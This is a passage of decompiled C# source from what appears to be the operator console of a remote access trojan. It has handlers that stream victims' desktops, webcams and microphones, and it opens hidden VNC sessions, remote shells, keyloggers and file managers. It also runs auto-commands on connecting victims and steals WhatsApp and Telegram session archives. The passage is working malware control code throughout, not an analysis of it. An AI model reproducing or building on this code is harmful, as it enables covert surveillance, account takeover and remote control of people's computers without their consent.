string[] names = val.DeviceNames ?? new string[0];
|
|||
|
|
Log("CameraDevicesResponse " + names.Length + " devices from " + text, "CAM");
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
cb(names);
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleAudioDevicesResponse(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_0093: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0099: Expected O, but got Unknown
|
|||
|
|
string text = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? "?";
|
|||
|
|
Log("AudioDevicesResponse RECV from " + text, "MIC");
|
|||
|
|
if (!_audioDevicesCallbacks.TryGetValue(sender, out var cb))
|
|||
|
|
{
|
|||
|
|
Log("AudioDevicesResponse no callback for " + text, "MIC");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
_audioDevicesCallbacks.Remove(sender);
|
|||
|
|
AudioDevicesResponsePacket val = (AudioDevicesResponsePacket)packet;
|
|||
|
|
string[] names = val.DeviceNames ?? new string[0];
|
|||
|
|
Log("AudioDevicesResponse " + names.Length + " devices from " + text, "MIC");
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
cb(names);
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleAudioStreamChunk(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_001d: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0027: Expected O, but got Unknown
|
|||
|
|
if (_audioStreamHandlers.TryGetValue(sender, out var cb))
|
|||
|
|
{
|
|||
|
|
AudioStreamChunkPacket p = (AudioStreamChunkPacket)packet;
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
cb(p.Chunk ?? new byte[0]);
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleDesktopFrame(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_001d: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0027: Expected O, but got Unknown
|
|||
|
|
if (!_desktopFrameHandlers.TryGetValue(sender, out var cb))
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
DesktopFramePacket p = (DesktopFramePacket)packet;
|
|||
|
|
if (_rdpQualityStates.TryGetValue(sender, out var value))
|
|||
|
|
{
|
|||
|
|
DateTime utcNow = DateTime.UtcNow;
|
|||
|
|
if (value.LastFrameTime != DateTime.MinValue)
|
|||
|
|
{
|
|||
|
|
double totalMilliseconds = (utcNow - value.LastFrameTime).TotalMilliseconds;
|
|||
|
|
double num = (double)value.IntervalMs * 4.0;
|
|||
|
|
if (totalMilliseconds > num)
|
|||
|
|
{
|
|||
|
|
value.BadStreak++;
|
|||
|
|
value.GoodStreak = 0;
|
|||
|
|
if (value.BadStreak >= 5)
|
|||
|
|
{
|
|||
|
|
RdpStepDown(sender, value);
|
|||
|
|
value.BadStreak = 0;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
value.GoodStreak++;
|
|||
|
|
value.BadStreak = 0;
|
|||
|
|
if (value.GoodStreak >= 8)
|
|||
|
|
{
|
|||
|
|
RdpStepUp(sender, value);
|
|||
|
|
value.GoodStreak = 0;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
value.LastFrameTime = utcNow;
|
|||
|
|
}
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
cb(p.ImageData ?? new byte[0]);
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void Server_UdpFrameReceived(object s, UdpFrameEventArgs e)
|
|||
|
|
{
|
|||
|
|
//IL_0017: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0021: Expected O, but got Unknown
|
|||
|
|
//IL_0039: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0043: Expected O, but got Unknown
|
|||
|
|
if (e.PacketTypeId == 36)
|
|||
|
|
{
|
|||
|
|
HandleDesktopFrame(e.Client, (IPacket)new DesktopFramePacket(e.Data));
|
|||
|
|
}
|
|||
|
|
else if (e.PacketTypeId == 46)
|
|||
|
|
{
|
|||
|
|
HandleHvncFrame(e.Client, (IPacket)new HvncFramePacket(e.Data));
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void RdpStepDown(CrysomeClient client, RdpQualityState state)
|
|||
|
|
{
|
|||
|
|
if (state.Level > 0)
|
|||
|
|
{
|
|||
|
|
state.Level--;
|
|||
|
|
state.CurrentQuality = _rdpLevels[state.Level].Quality;
|
|||
|
|
state.IntervalMs = _rdpLevels[state.Level].IntervalMs;
|
|||
|
|
SendRdpLevel(client, state.CurrentQuality, state.IntervalMs);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void RdpStepUp(CrysomeClient client, RdpQualityState state)
|
|||
|
|
{
|
|||
|
|
if (state.Level < _rdpLevels.Length - 1)
|
|||
|
|
{
|
|||
|
|
state.Level++;
|
|||
|
|
state.CurrentQuality = _rdpLevels[state.Level].Quality;
|
|||
|
|
state.IntervalMs = _rdpLevels[state.Level].IntervalMs;
|
|||
|
|
SendRdpLevel(client, state.CurrentQuality, state.IntervalMs);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void SendRdpLevel(CrysomeClient client, int quality, int intervalMs)
|
|||
|
|
{
|
|||
|
|
//IL_0015: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_001f: Expected O, but got Unknown
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
client.SendPacket((IPacket)new RdpSetQualityPacket(quality, intervalMs));
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
if (!_rdpQualityCallbacks.TryGetValue(client, out var cb))
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
Application current = Application.Current;
|
|||
|
|
if (current == null)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
Dispatcher dispatcher = ((DispatcherObject)current).Dispatcher;
|
|||
|
|
if (dispatcher != null)
|
|||
|
|
{
|
|||
|
|
dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
cb(quality);
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleScreensResponse(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_002a: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0034: Expected O, but got Unknown
|
|||
|
|
if (_screensCallbacks.TryGetValue(sender, out var cb))
|
|||
|
|
{
|
|||
|
|
_screensCallbacks.Remove(sender);
|
|||
|
|
ScreensResponsePacket p = (ScreensResponsePacket)packet;
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
cb(p);
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private ClientInfo GetSingleClient()
|
|||
|
|
{
|
|||
|
|
if (_selectedClients.Count == 1)
|
|||
|
|
{
|
|||
|
|
return _selectedClients[0];
|
|||
|
|
}
|
|||
|
|
if (SelectedClient != null)
|
|||
|
|
{
|
|||
|
|
return SelectedClient;
|
|||
|
|
}
|
|||
|
|
return null;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoProcessManager()
|
|||
|
|
{
|
|||
|
|
ClientInfo singleClient = GetSingleClient();
|
|||
|
|
if (singleClient?.Owner == null)
|
|||
|
|
{
|
|||
|
|
EnqueueStatus("Select one client");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
ProcessManagerWindow processManagerWindow = new ProcessManagerWindow(singleClient, this);
|
|||
|
|
((Window)(object)processManagerWindow).Owner = Application.Current.MainWindow;
|
|||
|
|
((Window)(object)processManagerWindow).Show();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoRemoteShell()
|
|||
|
|
{
|
|||
|
|
ClientInfo singleClient = GetSingleClient();
|
|||
|
|
if (singleClient?.Owner == null)
|
|||
|
|
{
|
|||
|
|
EnqueueStatus("Select one client");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
RemoteShellWindow remoteShellWindow = new RemoteShellWindow(singleClient, this);
|
|||
|
|
((Window)(object)remoteShellWindow).Owner = Application.Current.MainWindow;
|
|||
|
|
((Window)(object)remoteShellWindow).Show();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoRemoteAudio()
|
|||
|
|
{
|
|||
|
|
ClientInfo singleClient = GetSingleClient();
|
|||
|
|
if (singleClient?.Owner == null)
|
|||
|
|
{
|
|||
|
|
EnqueueStatus("Select one client");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
Log("RemoteAudioWindow OPEN for " + singleClient.Address, "MIC");
|
|||
|
|
RemoteAudioWindow remoteAudioWindow = new RemoteAudioWindow(singleClient, this);
|
|||
|
|
((Window)(object)remoteAudioWindow).Owner = Application.Current.MainWindow;
|
|||
|
|
((Window)(object)remoteAudioWindow).Show();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoRemoteCamera()
|
|||
|
|
{
|
|||
|
|
ClientInfo singleClient = GetSingleClient();
|
|||
|
|
if (singleClient?.Owner == null)
|
|||
|
|
{
|
|||
|
|
EnqueueStatus("Select one client");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
Log("RemoteCameraWindow OPEN for " + singleClient.Address, "CAM");
|
|||
|
|
RemoteCameraWindow remoteCameraWindow = new RemoteCameraWindow(singleClient, this);
|
|||
|
|
((Window)(object)remoteCameraWindow).Owner = Application.Current.MainWindow;
|
|||
|
|
((Window)(object)remoteCameraWindow).Show();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoRemoteDesktop()
|
|||
|
|
{
|
|||
|
|
ClientInfo singleClient = GetSingleClient();
|
|||
|
|
if (singleClient?.Owner == null)
|
|||
|
|
{
|
|||
|
|
EnqueueStatus("Select one client");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
RemoteDesktopWindow obj = new RemoteDesktopWindow(singleClient, this)
|
|||
|
|
{
|
|||
|
|
Owner = Application.Current.MainWindow
|
|||
|
|
};
|
|||
|
|
ActiveRdpCount++;
|
|||
|
|
((Window)(object)obj).Closed += delegate
|
|||
|
|
{
|
|||
|
|
if (ActiveRdpCount > 0)
|
|||
|
|
{
|
|||
|
|
ActiveRdpCount--;
|
|||
|
|
}
|
|||
|
|
};
|
|||
|
|
((Window)(object)obj).Show();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoHvnc()
|
|||
|
|
{
|
|||
|
|
ClientInfo singleClient = GetSingleClient();
|
|||
|
|
if (singleClient?.Owner == null)
|
|||
|
|
{
|
|||
|
|
EnqueueStatus("Select one client");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
HvncWindow obj = new HvncWindow(singleClient, this)
|
|||
|
|
{
|
|||
|
|
Owner = Application.Current.MainWindow
|
|||
|
|
};
|
|||
|
|
ActiveHvncCount++;
|
|||
|
|
((Window)(object)obj).Closed += delegate
|
|||
|
|
{
|
|||
|
|
if (ActiveHvncCount > 0)
|
|||
|
|
{
|
|||
|
|
ActiveHvncCount--;
|
|||
|
|
}
|
|||
|
|
};
|
|||
|
|
((Window)(object)obj).Show();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoKeylogger()
|
|||
|
|
{
|
|||
|
|
ClientInfo singleClient = GetSingleClient();
|
|||
|
|
if (singleClient?.Owner == null)
|
|||
|
|
{
|
|||
|
|
EnqueueStatus("Select one client");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
KeyloggerWindow keyloggerWindow = new KeyloggerWindow(singleClient, this);
|
|||
|
|
((Window)(object)keyloggerWindow).Owner = Application.Current.MainWindow;
|
|||
|
|
((Window)(object)keyloggerWindow).Show();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoRemoteChat()
|
|||
|
|
{
|
|||
|
|
ClientInfo singleClient = GetSingleClient();
|
|||
|
|
if (singleClient?.Owner == null)
|
|||
|
|
{
|
|||
|
|
EnqueueStatus("Select one client");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
RemoteChatWindow remoteChatWindow = new RemoteChatWindow(singleClient, this);
|
|||
|
|
((Window)(object)remoteChatWindow).Owner = Application.Current.MainWindow;
|
|||
|
|
((Window)(object)remoteChatWindow).Show();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoOpenFileManager()
|
|||
|
|
{
|
|||
|
|
if (_selectedClients.Count != 1)
|
|||
|
|
{
|
|||
|
|
MessageBox.Show("File Manager requires exactly one client to be selected.\n\nPlease select a single victim and try again.", "One client required", MessageBoxButton.OK, MessageBoxImage.Asterisk);
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
_mainViewModel.GoToFileExplorer(server, _selectedClients[0]);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void RunOnConnectTasks(CrysomeClient client)
|
|||
|
|
{
|
|||
|
|
//IL_005c: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0066: Expected O, but got Unknown
|
|||
|
|
//IL_00a0: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_00aa: Expected O, but got Unknown
|
|||
|
|
foreach (AutoTask autoTask in store.AutoTasks)
|
|||
|
|
{
|
|||
|
|
if (autoTask.Time != "Always" || autoTask.Date != "Always")
|
|||
|
|
{
|
|||
|
|
continue;
|
|||
|
|
}
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
if (autoTask.Kind == "OnConnect")
|
|||
|
|
{
|
|||
|
|
client.SendPacket((IPacket)new RunCommandRequestPacket(autoTask.Param));
|
|||
|
|
}
|
|||
|
|
else if (autoTask.Kind == "OnConnectFile" && File.Exists(autoTask.Param))
|
|||
|
|
{
|
|||
|
|
byte[] array = File.ReadAllBytes(autoTask.Param);
|
|||
|
|
client.SendPacket((IPacket)new FileTransferRequestPacket(Path.GetFileName(autoTask.Param), array));
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void LogEntries_Filter(object sender, FilterEventArgs e)
|
|||
|
|
{
|
|||
|
|
if (!(e.Item is LogLineEntry logLineEntry))
|
|||
|
|
{
|
|||
|
|
e.Accepted = false;
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
if (_logCategoryHide.Count == 0)
|
|||
|
|
{
|
|||
|
|
e.Accepted = true;
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
string text = logLineEntry.Category ?? "";
|
|||
|
|
e.Accepted = string.IsNullOrEmpty(text) || !_logCategoryHide.Contains(text);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoWhatsAppSession()
|
|||
|
|
{
|
|||
|
|
//IL_0053: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_005d: Expected O, but got Unknown
|
|||
|
|
ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
|
|||
|
|
if (clientInfo?.Owner == null)
|
|||
|
|
{
|
|||
|
|
EnqueueStatus("Select a client");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
string address = clientInfo.Address;
|
|||
|
|
Log("Requesting WhatsApp session from " + address, "WHATSAPP");
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
clientInfo.Owner.SendPacket((IPacket)new WhatsAppSessionRequestPacket());
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Log("WhatsApp request failed " + address + ": " + ex.Message, "SYS");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleWhatsAppSessionResponse(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_0016: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0020: Expected O, but got Unknown
|
|||
|
|
WhatsAppSessionResponsePacket p = (WhatsAppSessionResponsePacket)packet;
|
|||
|
|
string addr = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? ((object)sender).GetHashCode().ToString("X");
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
|
|||
|
|
{
|
|||
|
|
if (!p.Success || p.ZipData == null || p.ZipData.Length == 0)
|
|||
|
|
{
|
|||
|
|
string text = (string.IsNullOrEmpty(p.ErrorMessage) ? "No session data." : p.ErrorMessage);
|
|||
|
|
Log("WhatsApp session from " + addr + ": " + text, "WHATSAPP");
|
|||
|
|
MessageBox.Show("WhatsApp session error:\n" + text, "WhatsApp Session", MessageBoxButton.OK, MessageBoxImage.Exclamation);
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
Log($"WhatsApp session from {addr}: {p.ZipData.Length:N0} bytes received", "WHATSAPP");
|
|||
|
|
string value = string.Concat((addr ?? "client").Where((char c) => !Enumerable.Contains(Path.GetInvalidFileNameChars(), c)));
|
|||
|
|
SaveFileDialog saveFileDialog = new SaveFileDialog
|
|||
|
|
{
|
|||
|
|
Title = "Save WhatsApp Session",
|
|||
|
|
Filter = "ZIP Archive|*.zip",
|
|||
|
|
FileName = $"WhatsApp_{value}_{DateTime.Now:yyyyMMdd_HHmmss}.zip"
|
|||
|
|
};
|
|||
|
|
if (saveFileDialog.ShowDialog() == true)
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
File.WriteAllBytes(saveFileDialog.FileName, p.ZipData);
|
|||
|
|
Log("WhatsApp session saved: " + saveFileDialog.FileName, "WHATSAPP");
|
|||
|
|
new WhatsAppSessionWindow(saveFileDialog.FileName, addr, p.ZipData.Length).Show();
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
MessageBox.Show("Failed to save: " + ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Hand);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
});
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoTelegramSession()
|
|||
|
|
{
|
|||
|
|
//IL_0052: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_005c: Expected O, but got Unknown
|
|||
|
|
List<ClientInfo> list = SelectedClients.ToList();
|
|||
|
|
if (!list.Any())
|
|||
|
|
{
|
|||
|
|
MessageBox.Show("No client selected.", "Telegram Session");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
foreach (ClientInfo item in list)
|
|||
|
|
{
|
|||
|
|
string text = item?.Address ?? "?";
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
item.Owner.SendPacket((IPacket)new TelegramSessionRequestPacket());
|
|||
|
|
Log("Telegram session requested from " + text, "TELEGRAM");
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Log("Telegram request failed " + text + ": " + ex.Message, "SYS");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleTelegramSessionResponse(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_0016: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0020: Expected O, but got Unknown
|
|||
|
|
TelegramSessionResponsePacket p = (TelegramSessionResponsePacket)packet;
|
|||
|
|
string addr = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? ((object)sender).GetHashCode().ToString("X");
|
|||
|
|
string userName = (string.IsNullOrWhiteSpace(p.UserName) ? addr : p.UserName);
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
|
|||
|
|
{
|
|||
|
|
if (!string.IsNullOrEmpty(p.Error))
|
|||
|
|
{
|
|||
|
|
Log("Telegram session from " + addr + ": " + p.Error, "TELEGRAM");
|
|||
|
|
MessageBox.Show("Telegram session error:\n" + p.Error, "Telegram Session", MessageBoxButton.OK, MessageBoxImage.Exclamation);
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
if (p.ZipBytes != null && p.ZipBytes.Length != 0)
|
|||
|
|
{
|
|||
|
|
Log($"Telegram session from {addr} ({userName}): {p.ZipBytes.Length:N0} bytes received", "TELEGRAM");
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
string text = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "telegram");
|
|||
|
|
Directory.CreateDirectory(text);
|
|||
|
|
string text2 = string.Concat(userName.Where((char c) => !Enumerable.Contains(Path.GetInvalidFileNameChars(), c)));
|
|||
|
|
if (string.IsNullOrWhiteSpace(text2))
|
|||
|
|
{
|
|||
|
|
text2 = addr.Replace(".", "_").Replace(":", "_");
|
|||
|
|
}
|
|||
|
|
string path = text2 + "_tdata.zip";
|
|||
|
|
string text3 = Path.Combine(text, path);
|
|||
|
|
File.WriteAllBytes(text3, p.ZipBytes);
|
|||
|
|
Log("Telegram session saved: " + text3, "TELEGRAM");
|
|||
|
|
MessageBox.Show($"Telegram tdata saved!\n\nFile: {text3}\nSize: {p.ZipBytes.Length:N0} bytes", "Telegram Session", MessageBoxButton.OK, MessageBoxImage.Asterisk);
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Log("Telegram session save error: " + ex.Message, "SYS");
|
|||
|
|
MessageBox.Show("Failed to save tdata: " + ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Hand);
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
Log("Telegram session from " + addr + ": no data received.", "TELEGRAM");
|
|||
|
|
MessageBox.Show("No Telegram session data received.", "Telegram Session", MessageBoxButton.OK, MessageBoxImage.Exclamation);
|
|||
|
|
}
|
|||
|
|
});
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void DoExportLog()
|
|||
|
|
{
|
|||
|
|
SaveFileDialog saveFileDialog = new SaveFileDialog
|
|||
|
|
{
|
|||
|
|
Filter = "Log|*.log",
|
|||
|
|
FileName = "activity.log"
|
|||
|
|
};
|
|||
|
|
if (saveFileDialog.ShowDialog() == true)
|
|||
|
|
{
|
|||
|
|
File.WriteAllLines(saveFileDialog.FileName, LogEntries.Select((LogLineEntry x) => x.ToString()));
|
|||
|
|
Log("Log exported to " + saveFileDialog.FileName, "SYS");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void Log(string msg, string category = "")
|
|||
|
|
{
|
|||
|
|
if (store.Settings.LogPaused)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
LogLineEntry entry = new LogLineEntry
|
|||
|
|
{
|
|||
|
|
TimeText = DateTime.Now.ToString("HH:mm:ss"),
|
|||
|
|
Category = (category ?? ""),
|
|||
|
|
Message = msg
|
|||
|
|
};
|
|||
|
|
string text = entry.ToString();
|
|||
|
|
Application current = Application.Current;
|
|||
|
|
if (((current != null) ? ((DispatcherObject)current).Dispatcher : null) != null)
|
|||
|
|
{
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
|
|||
|
|
{
|
|||
|
|
LogEntries.Add(entry);
|
|||
|
|
while (LogEntries.Count > 5000)
|
|||
|
|
{
|
|||
|
|
LogEntries.RemoveAt(0);
|
|||
|
|
}
|
|||
|
|
});
|
|||
|
|
}
|
|||
|
|
if (!store.Settings.LogToFile)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
File.AppendAllText(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "activity.log"), text + Environment.NewLine);
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private string PromptInput(string title, string prompt, string defaultValue = "")
|
|||
|
|
{
|
|||
|
|
Window dlg = new Window
|
|||
|
|
{
|
|||
|
|
Title = title,
|
|||
|
|
Width = 420.0,
|
|||
|
|
Height = 160.0,
|
|||
|
|
WindowStartupLocation = WindowStartupLocation.CenterOwner,
|
|||
|
|
Owner = Application.Current.MainWindow,
|
|||
|
|
ResizeMode = ResizeMode.NoResize
|
|||
|
|
};
|
|||
|
|
StackPanel stackPanel = new StackPanel
|
|||
|
|
{
|
|||
|
|
Margin = new Thickness(12.0)
|
|||
|
|
};
|
|||
|
|
stackPanel.Children.Add(new TextBlock
|
|||
|
|
{
|
|||
|
|
Text = prompt
|
|||
|
|
});
|
|||
|
|
TextBox textBox = new TextBox
|
|||
|
|
{
|
|||
|
|
Text = defaultValue,
|
|||
|
|
Margin = new Thickness(0.0, 8.0, 0.0, 8.0)
|
|||
|
|
};
|
|||
|
|
stackPanel.Children.Add(textBox);
|
|||
|
|
Button button = new Button
|
|||
|
|
{
|
|||
|
|
Content = "OK",
|
|||
|
|
Width = 80.0,
|
|||
|
|
HorizontalAlignment = HorizontalAlignment.Right
|
|||
|
|
};
|
|||
|
|
button.Click += delegate
|
|||
|
|
{
|
|||
|
|
dlg.DialogResult = true;
|
|||
|
|
dlg.Close();
|
|||
|
|
};
|
|||
|
|
stackPanel.Children.Add(button);
|
|||
|
|
dlg.Content = stackPanel;
|
|||
|
|
textBox.Focus();
|
|||
|
|
if (dlg.ShowDialog() != true)
|
|||
|
|
{
|
|||
|
|
return null;
|
|||
|
|
}
|
|||
|
|
return textBox.Text;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void RouteReadFileResponse(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0007: Expected O, but got Unknown
|
|||
|
|
ReadFileResponsePacket val = (ReadFileResponsePacket)packet;
|
|||
|
|
if (val.TransferId != 0L && _pendingReadFileResponses.TryRemove((sender, val.TransferId), out var value))
|
|||
|
|
{
|
|||
|
|
value(val);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void RouteWriteFileResponse(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0007: Expected O, but got Unknown
|
|||
|
|
WriteFileResponsePacket val = (WriteFileResponsePacket)packet;
|
|||
|
|
if (val.TransferId != 0L && _pendingWriteFileResponses.TryRemove((sender, val.TransferId), out var value))
|
|||
|
|
{
|
|||
|
|
value(val);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void RouteGetDirectoryResponse(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0007: Expected O, but got Unknown
|
|||
|
|
GetDirectoryResponsePacket val = (GetDirectoryResponsePacket)packet;
|
|||
|
|
FileExplorerViewModel value2;
|
|||
|
|
if (val.RequestId != 0L && _pendingGetDirectoryResponses.TryRemove((sender, val.RequestId), out var value))
|
|||
|
|
{
|
|||
|
|
value(val);
|
|||
|
|
}
|
|||
|
|
else if (_activeFileExplorers.TryGetValue(sender, out value2))
|
|||
|
|
{
|
|||
|
|
value2.ApplyGetDirectoryResponse(val);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void RouteGetDrivesResponse(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0007: Expected O, but got Unknown
|
|||
|
|
GetDrivesResponsePacket val = (GetDrivesResponsePacket)packet;
|
|||
|
|
FileExplorerViewModel value2;
|
|||
|
|
if (val.RequestId != 0L && _pendingGetDrivesResponses.TryRemove((sender, val.RequestId), out var value))
|
|||
|
|
{
|
|||
|
|
value(val);
|
|||
|
|
}
|
|||
|
|
else if (_activeFileExplorers.TryGetValue(sender, out value2))
|
|||
|
|
{
|
|||
|
|
value2.ApplyGetDrivesResponse(val);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void RouteNotifyStatus(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0019: Expected O, but got Unknown
|
|||
|
|
NotifyStatusResponsePacket p = (NotifyStatusResponsePacket)packet;
|
|||
|
|
if (_activeFileExplorers.TryGetValue(sender, out var value))
|
|||
|
|
{
|
|||
|
|
value.ApplyNotifyStatus(p);
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
Application current = Application.Current;
|
|||
|
|
if (current != null)
|
|||
|
|
{
|
|||
|
|
((DispatcherObject)current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
